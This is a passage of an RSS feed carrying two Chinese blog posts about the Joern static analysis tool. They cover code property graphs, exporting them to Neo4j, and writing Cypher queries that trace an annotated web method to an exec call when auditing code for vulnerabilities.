|  relationship)<br/>return <br/>    (node | relationship)</span></code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">其他的比如创建节点、删除节点、创建关系、搜索匹配的节点以及关系等等就不赘述了，算是比较符合理解的语言逻辑。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">而相对于普通的数据库来说，<strong>图数据库有着可能是一种优势的特性，就是可以直接通过Neo4j的浏览器直接操作图内容以及结构。</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6144907723855092" width="664.9999855865135" data-type="png" data-w="1463" src="https://wechat2rss.xlab.app/img-proxy/?k=4b8ff8d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRnJicW9KcicxOUOLsCp2aZ0cuCsPbbdTosbweicg9wHuNZvIR3hSwrQZxA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">直接<strong>用鼠标点击各个节点查看对应的属性以及它们之间的关系</strong>，并且可以直接拖动他们。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.7092651757188498" width="284.54544837809806" data-type="png" data-w="626" src="https://wechat2rss.xlab.app/img-proxy/?k=a66e3b18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhR0xK02WPFkeibgu8wMibUhsgvCkkUf8ib3MxykmsbEFRSJhJyicfU5HfwVQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">点击节点下面的按钮，可以直接<strong>查看到节点连接到的其他节点</strong>，很方便也很直观。</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;">Joern与Neo4J</h1><p style="min-height: 24px;"><span style="font-size: 16px;">前面说了，<strong>Joern使用了自己做的OverflowDBl来作为图数据库存储CPG</strong>，但CPG本身没有什么特异性，也就意味着他可以在任意一种图数据库上导入。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">而Joern本身是自带了这个功能的，就是joern-export。<strong>它支持你导出Joern的CPG到neo4j  , graphml, graphson 和 graphviz dot。</strong></span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">./joern-export --repr=all --format=neo4jcsv<br/>./joern-export --repr=all --format=graphml<br/>./joern-export --repr=all --format=graphson<br/>./joern-export --repr=all --format=dot</span></code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">要使用joern-export导出数据的话，<strong>需要指定CPG的位置</strong>，这个东西会存在<strong>Joern目录下的workspace</strong>当中，并且需要指定output，默认是./out。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.38553113553113555" width="496.3636256052445" data-type="png" data-w="1092" src="https://wechat2rss.xlab.app/img-proxy/?k=765f9adf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRA3ib40QRGDQ25tKgkkibBYb5JJr4QYvhbsvShg0nibcfu5qEaszML1D4w%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.06433301797540208" width="960.9090700819477" data-type="png" data-w="2114" src="https://wechat2rss.xlab.app/img-proxy/?k=cfc94aa1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRlW25RSLA7GtyAthWyLe5AdkJLLo2m8ckJWoW6qyibo9v4Eichsp8Natw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3872870249017038" width="693.6363486022007" data-type="png" data-w="1526" src="https://wechat2rss.xlab.app/img-proxy/?k=bff10cd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhR1kic6QfmawE9hEQa48bpWfL9ZS1yk8ryvDAibXGe0cWib4TDyicb6lsT2w%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">然后我们可以想办法<strong>把这些csv文件导入到Neo4j当中</strong>。当然你可以用一些自己的方式导入，但joern的这个图还挺麻烦的，主要是<strong>neo4j导入复杂结构数据需要指定好各种csv文件的关联。</strong></span></p><p style="min-height: 24px;"><span style="font-size: 16px;">但joern当然也给出了导入的办法，在生成文件的时候会<strong>给出一个导入命令的范例</strong>，照着范例就可以搞定了。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.27155172413793105" width="1054.5454316887979" data-type="png" data-w="2320" src="https://wechat2rss.xlab.app/img-proxy/?k=7e712476&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRgoMjv3rtABySvyzjicJ6HAQiaXzpLicPHPXic5cLoAOtbkVwiclJmf8uCAQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">首先joern导入数据是有限制的，<strong>只能导入import目录下的文件</strong>，这个import文件一般会在对应链接的server目录下面，如果你使用的是neo4j的desltop浏览器，那么你可以直接打开对应的import目录，并把文件复制过去。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4695244474212994" width="678.6363489273169" data-type="png" data-w="1493" src="https://wechat2rss.xlab.app/img-proxy/?k=1a998e7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhR44h5bh9t7PY5wibPoZCgibDY7EtFmDDyrKVKyYiawZuvm2tYUBBicgntWQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5173951828724354" width="509.5454435013545" data-type="png" data-w="1121" src="https://wechat2rss.xlab.app/img-proxy/?k=3b0f0bf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRHJdC4lEq4cHnQHV1uM8DUYyE58bicd3SVuLQnRDS7ECEH67FPZ3qNOw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">除了文件以外，还有就是这个/bin/cypher-shell的位置，<strong>这个脚本就在对应链接目录的bin下</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.37635303913405493" width="545.9090790768303" data-type="png" data-w="1201" src="https://wechat2rss.xlab.app/img-proxy/?k=231ad91e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRDsy9Lf1Xx4EnAs86472rVv3LB9rMxlLXWyR7ORepNXPWl0lCOJrobg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">然后构造对应的find命令生成执行导入即可，其实它的原理也比较简单，就是<strong>依次执行*_cypher.csv文件中的命令，然后导入header和data。</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.12252252252252252" width="555.5454406738281" data-type="png" data-w="1110" src="https://wechat2rss.xlab.app/img-proxy/?k=d32b0bc0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRmrPMdjjzhT4KGMUbkQevyvGG6RTLib6O8GAqxEtHdI113ftsre0RwEg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">最终导入的数据就是这样的</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5693848354792561" width="953.1817975221591" data-type="png" data-w="2097" src="https://wechat2rss.xlab.app/img-proxy/?k=301510a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRicDWdh1wa3ibjHHg3CkEtLsoQdZNN1zQIAxP56gDzTTgDEHOVU84ZZ9w%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;">用cypher在Neo4J上查询漏洞</h1><p style="min-height: 24px;"><span style="font-size: 16px;">当我们把CPG导入到Neo4J上之后，理论上来说我们可以用cypher来完成我们在Joern中做的所有工作。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">这里还是拿上篇文章中用到的RCE代码来举例子。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.4658682634730539" width="835" data-type="png" data-w="835" src="https://wechat2rss.xlab.app/img-proxy/?k=e60ad168&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRB3ialJuibuEVLk1cOAxtxzB7GLT8g48Hu9hXibNLo7elicJDkK2UvEHpQA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">对应Joern的语句为</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">def source = cpg.method.where(_.annotation.name(&#34;.*Mapping&#34;)).parameter<br/>def sink = cpg.call.name(&#34;exec&#34;)</span></code></pre><p style="min-height: 24px;"><span style="font-size: 16px;">首先匹配注解节点满足.*Mapping的</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">MATCH (n:ANNOTATION) where n.NAME=~&#34;.*Mapping&#34; RETURN n LIMIT 25</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.30712858094603596" width="682.2727124848644" data-type="png" data-w="1501" src="https://wechat2rss.xlab.app/img-proxy/?k=e91c4f23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRKGnmkTe63reudCvAvwlv9JZx3QZgKM6H2xCNU70bh7dMcuiamxtsjLA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">然后找这些对应节点关联的方法</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">MATCH (m:METHOD)-[:AST]-&gt;(n:ANNOTATION) where n.NAME=~&#34;.*Mapping&#34; RETURN n LIMIT 25</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.42418772563176893" width="503.6363527203397" data-type="png" data-w="1108" src="https://wechat2rss.xlab.app/img-proxy/?k=63b4315c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRABzxfsytehR50R6vwhOC2s1gZsVwjtIn6ibGIhs0vA7w1ajv5q37mxg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">然后找一下对应调用exec方法的节点</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">MATCH (n:CALL) where n.NAME=&#34;exec&#34; RETURN n LIMIT 25</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.34256756756756757" width="672.7272581463021" data-type="png" data-w="1480" src="https://wechat2rss.xlab.app/img-proxy/?k=18462cd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRErHRxmtDv5lrKcnsjbeAr1gia96TPMYLlH0VexZd2Md9uibYIejQMMfA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">然后我们把两个节点连接起来，并查找最短路径，这里的[*..10]表示最长不超过10个关系</span></p><pre data-language="python" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><code><span style="font-size: 16px;">MATCH (p1:METHOD)-[:AST]-&gt;(n:ANNOTATION),(p2:CALL),p=shortestpath((p1)-[*..10]-(p2)) where n.NAME=~&#34;.*Mapping&#34; and p2.NAME=&#34;exec&#34; RETURN p LIMIT 25</span></code></pre><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.35408299866131193" width="679.0908943720103" data-type="png" data-w="1494" src="https://wechat2rss.xlab.app/img-proxy/?k=0db3bc3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UTSlenickEYicGP3Xk0ox5XhRepGygKRIVyzKYsBicx39YTHJk8ZxaC6iaps4fNciaGRg7EOT6GIAaj3NA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">这里范例算是比较简单的，所以用这个还算比较简单的语句就可以查询到结果，正好对应漏洞利用链。</span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://lorexxar.cn/2023/08/22/joern2/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=486a8d18&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484125%26idx%3D1%26sn%3D7437e0e77385042e49f0140c998be7d8%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 22 Aug 2023 16:49:00 +0800</pubDate>
    </item>
    <item>
      <title>Joern与CPG是什么？</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484099&amp;idx=1&amp;sn=36684e924c6b99ce2f93bf6569239e2a</link>
      <description>从人们开始探索代码扫描这件事情开始，市面上就在不断地诞生着各种各样的工具，经过了几年的演变以及发展，对于白盒代码扫描这件事情来说，大家的观念也在逐渐趋同。</description>
      <content:encoded><![CDATA[<p>
原创 <span>LoRexxar</span> <span>2023-08-21 14:38</span> <span style="display: inline-block;">北京</span>
</p>

<p>从人们开始探索代码扫描这件事情开始，市面上就在不断地诞生着各种各样的工具，经过了几年的演变以及发展，对于白盒代码扫描这件事情来说，大家的观念也在逐渐趋同。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9f9b3aa8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVicWrhdI2op8VXqV5ibzG1AgDfbkayb1TIv7I9bKicIg6mHJUg39mx9JKg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 16px;"><span style="letter-spacing: 0.034em;color: rgb(74, 74, 74);">从人们开始探索代码扫描这件事情开始，市面上就在不断地诞生着各种各样的工具，经过了几年的演变以及发展，对于</span><strong style="font-size: var(--articleFontsize);letter-spacing: 0.034em;"><span style="color: rgb(74, 74, 74);">白盒代码扫描</span></strong><span style="letter-spacing: 0.034em;color: rgb(74, 74, 74);">这件事情来说，大家的观念也在逐渐趋同。</span><br/></span></p><p style="min-height: 24px;"><span style="font-size: 16px;"><span style="color: rgb(74, 74, 74);">无论是基于</span><strong><span style="color: rgb(74, 74, 74);">IR(Intermediate Representation)、AST(</span></strong><strong><span style="color: rgb(18, 18, 18);">abstract syntax trees</span></strong><strong><span style="color: rgb(74, 74, 74);">)、CFG(</span></strong><strong><span style="color: rgb(18, 18, 18);">control flow graphs</span></strong><strong><span style="color: rgb(74, 74, 74);">)、PFG(</span></strong><strong><span style="color: rgb(18, 18, 18);">program dependence graphs</span></strong><strong><span style="color: rgb(74, 74, 74);">)</span></strong><span style="color: rgb(74, 74, 74);">，又或者是其他的什么中间态。白盒代码扫描工具都在这个基础上做</span><strong><span style="color: rgb(74, 74, 74);">模拟执行、污点传播</span></strong><span style="color: rgb(74, 74, 74);">等等方案来分析挖掘漏洞。</span></span></p><p style="min-height: 24px;"><span style="font-size: 16px;"><span style="color: rgb(74, 74, 74);">而随着</span><strong><span style="color: rgb(74, 74, 74);">CodeQL的概念</span></strong><span style="color: rgb(74, 74, 74);">逐渐被大家接受之后，现在的代码扫描工具越来越趋近于将</span><strong><span style="color: rgb(74, 74, 74);">底层和上层拆解开来</span></strong><span style="color: rgb(74, 74, 74);">，由底层的引擎将代码统一化处理，然后使用者在上层通过编写规则或者语句就可以。主流的</span><strong><span style="color: rgb(74, 74, 74);">CodeQL、Checkmarx</span></strong><span style="color: rgb(74, 74, 74);">其实都使用了类似的方案。今天要说的</span><strong><span style="color: rgb(74, 74, 74);">Joern</span></strong><span style="color: rgb(74, 74, 74);">也是如此。</span></span></p><p style="min-height: 24px;"><strong><span style="color: rgb(74, 74, 74);">今天介绍的Joern有什么特殊的呢？</span></strong></p><p style="min-height: 24px;"><span style="color: rgb(74, 74, 74);font-size: 16px;">首先CodeQL本身不开源只能使用，偏偏微软还做了商业化限制，以微软喜欢秋后算账的风格来讲，实在无法确定深入研究CodeQL是否值得。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;"><span style="color: rgb(74, 74, 74);">除此之外，市面上的很多白盒扫描工具其实是</span><strong><span style="color: rgb(74, 74, 74);">非静态的</span></strong><span style="color: rgb(74, 74, 74);">，扫描的时候不但需要配置复杂的运行环境，而且</span><strong><span style="color: rgb(74, 74, 74);">本身可能依赖编译过程</span></strong><span style="color: rgb(74, 74, 74);">，无论是自己使用还是商业化这都非常不实用。</span></span></p><p style="min-height: 24px;"><span style="color: rgb(74, 74, 74);font-size: 16px;">个人认为白盒工具有着几个很重要的点</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><strong><span style="color: rgb(74, 74, 74);">静态扫描</span></strong><span style="color: rgb(74, 74, 74);">，</span><strong><span style="color: rgb(74, 74, 74);">静态扫描的优势和便利程度</span></strong><span style="color: rgb(74, 74, 74);">才是白盒比较优势的一环，毕竟白盒不是灰盒，如果对编译环境和运行环境有依赖那为什么不使用更准确的灰盒</span></span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;"><strong><span style="color: rgb(74, 74, 74);">扫描速度</span></strong><span style="color: rgb(74, 74, 74);">，虽然这点是很多商业化白盒软件的通病，但无论在哪家公司的DevSecOps中，最终目标肯定是把安全检测加载上线前，那么无论是1分钟、3分钟还是5分钟，</span><strong><span style="color: rgb(74, 74, 74);">扫描速度会是第一优先级</span></strong><span style="color: rgb(74, 74, 74);">，比如CheckMarx动辄几小时的扫描肯定是不现实的</span></span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;"><strong><span style="color: rgb(74, 74, 74);">可diy性</span></strong><span style="color: rgb(74, 74, 74);">，当然对于大部分人来说这点其实并不是很重要，但能对引擎进行深入改造会是优化开发非常重要的一点，</span><strong><span style="color: rgb(74, 74, 74);">joern是开源的</span></strong><span style="color: rgb(74, 74, 74);">，在这方面他有很大的优势</span></span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;"><strong><span style="color: rgb(74, 74, 74);">可拓展性</span></strong><span style="color: rgb(74, 74, 74);">，市面上大部分的白盒扫描工具动辄支持几十种语言，比如说snoarqube这种，但实际上大部分拓展语言只支持非常简单的正则拓展，</span><strong><span style="color: rgb(74, 74, 74);">我一直觉得现代白盒软件很重要的一条路就是走通用性</span></strong><span style="color: rgb(74, 74, 74);">，这也是比较有名的一些白盒工具都选择的路，在白盒扫描过程中会刻意将统一结构拆分出去再做分析扫描。</span></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">今天介绍的joern的其实就是这类工具的一员，他最大的特点其实就是开源。</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;">joern</h1><p style="min-height: 24px;"><span style="font-size: 16px;">jo<span style="color: rgb(93, 104, 111);">ern是ShiftLeft 开发的</span><strong><span style="color: rgb(93, 104, 111);">一款基于CPG制作的白盒静态扫描工具</span></strong><span style="color: rgb(93, 104, 111);">，诞生的时间不算早应该就是2021年（具体记不清了）</span></span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="color: rgb(93, 104, 111);font-size: 16px;"><a href="https://github.com/joernio/joern" target="_blank">https://github.com/joernio/joern</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">和其他工具不同，他引用了一种叫做CPG(Code Property Graph)的中间结构作为处理结构，是由<strong>AST + CFG + PDG</strong>叠加而来，最终生成一张图，然后在图的基础上做分析和检测。<strong>和传统的基于单一AST或者CFG的工具相比，图结构一方面能承载更多的代码信息</strong>，另一方面，<strong>CPG也让后续的分析程序更具有通用性。</strong></span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.345" width="1400" data-type="png" data-w="1400" src="https://wechat2rss.xlab.app/img-proxy/?k=449feeff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVicDXshtmgHpKYSB5pkeegQebK8MNTAoCubbxLaozMPic35KRPf4JbAzw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">这就是一张很经典的范例图，用来展示CPG和其他几种的区别。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">另一方面，在用户使用的Joern命令行上，Joern构建了一套基于OverflowDb的查询语言以供使用者可以在不需要知晓底层原理的基础上查询分析。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">至于OverflowDB具体是什么，不是很关键，我们只需要了解joern就行了。</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;">什么是CPG？</h1><p style="min-height: 24px;"><span style="font-size: 16px;">关于CPG可以看一篇<strong>官方写的基础的理论文章</strong>。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><a href="https://blog.shiftleft.io/why-your-code-is-a-graph-f7b980eab740" target="_blank">https://blog.shiftleft.io/why-your-code-is-a-graph-f7b980eab740</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">以下部分内容大量取材于上面这篇文章。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">还有就是比较重要的<strong>joern的CPG标准文档</strong></span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 16px;"><p><span style="font-size: 16px;"><a href="https://cpg.joern.io/" target="_blank">https://cpg.joern.io/</a></span></p></li><li style="font-size: 16px;"><p><span style="font-size: 16px;"><a href="https://github.com/ShiftLeftSecurity/codepropertygraph" target="_blank">https://github.com/ShiftLeftSecurity/codepropertygraph</a></span></p></li></ul><p style="min-height: 24px;"><span style="font-size: 16px;">在介绍CPG之前，首先要先对图结构有个基础的概念，无论是图数据库又或者是图结构其实说白了就是把<strong>节点以及节点之间的关系以图的方式展示出来</strong>。就比如下图表明A和B就是朋友，B和C也是朋友。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.7716346153846154" width="416" data-type="png" data-w="416" src="https://wechat2rss.xlab.app/img-proxy/?k=4b3e8ac0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVeFfhENLPoqWB7icbiaUVP4bUBibalKRP2e5abDwzBapKMKNUGfNoALI6Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">换到代码中说白了就是通过<strong>图的方式展示代码中不同节点之间的关系</strong>，而这个节点可能是代码块，可能是函数块，可能是变量块，他们之间会<strong>通过边的属性来展示节点之间的关系</strong>。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.8316062176165803" width="386" data-type="png" data-w="386" src="https://wechat2rss.xlab.app/img-proxy/?k=911435db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVPTS0bibhoxYRiaKFq9sXLzHzib9xbuVicHCiauQepD8QkMYpnGvNlZEBslg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">而代码在编译执行前会经过几个复杂的步骤，在经过<strong>最简单的词法分析和语法分析</strong>，代码就会被转为<strong>AST</strong><strong><span style="color: rgb(74, 74, 74);">(</span></strong><strong><span style="color: rgb(18, 18, 18);">abstract syntax trees</span></strong><strong><span style="color: rgb(74, 74, 74);">)</span></strong><strong>也就是抽象语法树</strong>，这也是普遍会用到的通用结构，因为从AST开始不同语言的差异就是就很小了，也会有非常标准的结构。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="1.12875" width="800" data-type="png" data-w="800" src="https://wechat2rss.xlab.app/img-proxy/?k=12ae0fcd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVrLMDBxENJj6MdibXsVQqDUuh1T9YSC1BeSJeCGMvrGAmPt3kI6DmJ5Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">AST则是一个经典的树结构，这算是数据结构当中非常经典的一个，<strong>通过遍历树结构我们就能得到更底层的某种结构</strong>，比如IR就是这类结构的一种，这种结构会具有<strong>更强的执行顺序</strong>，相应的也会模糊掉一些语法。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">而<strong>CFG(</strong><strong><span style="color: rgb(18, 18, 18);">control flow graphs</span></strong><strong>)是一种更强调执行流的结构</strong>，节点和节点之间只有调用关系，而且会有<strong>比较强的代码执行顺序</strong>，<strong>边上会展示执行相应的条件</strong>。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.7855297157622739" width="387" data-type="png" data-w="387" src="https://wechat2rss.xlab.app/img-proxy/?k=89fab4be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVFh4ZPic8Ty4MRvosOXn5CKia4CMsPuhsD9o4Z6cph23PqsBw4zBmW17Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">而另一个比较有用但是比较少见的就是<strong>PDG(</strong><strong><span style="color: rgb(18, 18, 18);">program dependence graphs</span></strong><strong>)</strong>，PDF也是一种图关系，<strong>通过图来展示代码节点之间的依赖关系，他更强调的是节点和节点之间的关系</strong>，节点之间的边会<strong>展示数据节点的影响关系</strong>，所以图结构会更复杂，但会更易于寻找节点之间的关系。</span></p><p style="min-height: 24px;"><span style="font-size: 16px;">下面这张图就是一张PDG，上面的两个对于x和y的定义会单向影响后续节点的变化，这种联动关系很清晰，这就是PDG的优势。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.8863636363636364" width="484" data-type="png" data-w="484" src="https://wechat2rss.xlab.app/img-proxy/?k=d6ad342b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVDLMlPK0rsufTCHgSerl2g6iblzIIQttQicKIjdp5wSmsGZ2RT1vFMiasw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;">但<strong>无论是AST、CFG、PDG或者是IR等数据结构</strong>，又或者是某个原创的中间结构，他们的目标都是一致的，就是<strong>用更通用的方式解释代码</strong>，这整体可以算作编译原理的前端。它本质上没有实际的区别，无非就是哪种通用结构被拿来做代码分析。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5625" width="2000" data-type="png" data-w="2000" src="https://wechat2rss.xlab.app/img-proxy/?k=633f6ba3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVnkiaviacFytOkEYYTHHMNU2ugD6cnw5aS484jnRTk2iabI9yM0DH9HqrQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span style="font-size: 16px;"><strong>而CPG在这个环境下主体由AST、CFG、PDG多种结构融合而来</strong>，我觉得它最大的特点就是利用了<strong>图结构庞大的信息容纳能力</strong>（毕竟图本身并不是二维的，图结构可以很复杂），可以保证我们在代码分析中遇到任何情况都可以在CPG中找到相应的答案和场景。这是图结构相比其他中间结构解决方案难以比拟的优势。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5625" width="2000" data-type="png" data-w="2000" src="https://wechat2rss.xlab.app/img-proxy/?k=bd7e9d4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6URu0CABhseMc9F8Dv2iaxGgVlewKvA0aRicJ3P2ibrFLvWgZ8CIPYmqYvUM5q5y3n7uEgxkBTKKHt8Vw%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 